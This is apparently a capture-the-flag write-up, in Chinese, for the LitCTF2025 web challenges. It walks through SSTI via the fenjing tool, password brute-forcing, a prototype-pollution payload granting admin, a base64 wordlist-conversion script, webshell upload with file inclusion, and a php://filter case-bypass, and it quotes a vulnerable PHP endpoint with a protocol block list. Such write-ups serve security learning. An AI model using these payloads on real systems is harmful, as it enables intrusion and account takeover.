LitCTF2025 WEB
星愿信箱
使用的是python,那么大概率是ssti注入
测试{{5*5}}
发现需要包含文字,那么添加文字
可以看到被waf过滤了,直接抓包查看参数上fenjing
可以看到这里是json格式,其实fenjing也是支持json格式的
https://github.com/Marven11/Fenjing/blob/main/examples.md
nest_js
爆破密码
bp发送到intruder爆破
可以看到当密码是password的时候返回了一个token,那么登录进去看看
多重宇宙日记
描述:ez原型链,你能成为管理员拿到flag吗?
先注册一个账户这里然后登录进去
查看源码
构造原型链
{"settings": {"theme": "ctf","language": "ctf","__proto__": {"isAdmin": true}}
}
然后点击管理员面板获取flag
easy_file
在输入账户密码登录的时候可以发现账户被加base64密了
所有这里爆破密码需要构造base64的密码
import base64def convert_passwords_to_base64(input_file, output_file):"""逐行读取密码文件,转换为Base64并写入输出文件:param input_file: 输入密码文件路径:param output_file: 输出Base64文件路径"""try:with open(input_file, 'r') as infile, open(output_file, 'w') as outfile:for line in infile:# 去除行尾换行符password = line.strip()if password: # 忽略空行# 将密码转换为bytes,然后Base64编码password_bytes = password.encode('utf-8')base64_bytes = base64.b64encode(password_bytes)base64_str = base64_bytes.decode('utf-8')# 写入输出文件outfile.write(base64_str + '\n')print(f"成功转换密码并保存到 {output_file}")except FileNotFoundError:print(f"错误: 文件 {input_file} 不存在")except Exception as e:print(f"发生错误: {str(e)}")if __name__ == "__main__":input_filename = "pwd.txt" # 输入密码文件output_filename = "passwords_base64.txt" # 输出Base64文件convert_passwords_to_base64(input_filename, output_filename)
这里使用python脚本把自己的密码字典转换成base64编码的
可以看到这里的cGFzc3dvcmQ的长度和其它的不一样密码应该就是这个base64解密
发现是可以登录的,admin,password
然后这里进行文件上传绕过发现死活绕不过。之后发现信息搜集不全
在主站源码里面有个提示。
有了file就知道上传一个一句话木马的jpg,然后利用file进行文件包含
easy_signin
使用dirsearch扫描网站目录知道存在login.html和api
访问login.html发现登录页面,然后进行爆破发现死活爆不出来,一直提示账户错误
换个思路,还有一个api文件夹访问不了。
查看登录页面的源码吧,发现一个api.js
存在一个传参点,试试php伪协议,这里过滤了php,可以使用大小写绕过
发现可以读取。那么读取一下api/sys/urlcode.php
http://node12.anna.nssctf.cn:25159/api/sys/urlcode.php?url=phP://filter/read=convert.base64-encode/resource=/var/www/html/api/sys/urlcode.php
<?php
error_reporting(0);function curl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);
}$url = $_REQUEST['url'];
if($url){$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];$protocol_block = false;foreach ($forbidden_protocols as $proto) {if (strpos($url, $proto) === 0) { $protocol_block = true;break;}}$log_block = strpos($url, '.log') !== false; if ($protocol_block) {echo "禁止访问:不允许使用 {$proto} 协议";} elseif ($log_block) {echo "禁止访问:URL 包含 .log";} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {echo "看不见哦";} else {echo "<b>".$url." 的快照如下:</b><br><br>";echo "<pre>";curl($url);include($url);echo "</pre>";}
}
?>
可以看到进行了过滤
flag应该在327a6c4304ad5938eaf0efb6cc3e53dc.php里面。访问一下看看
http://node6.anna.nssctf.cn:22089/327a6c4304ad5938eaf0efb6cc3e53dc.php
可以看到f'lag
君の名は
参考佬写的,很详细
https://www.cnblogs.com/Litsasuk/articles/18896993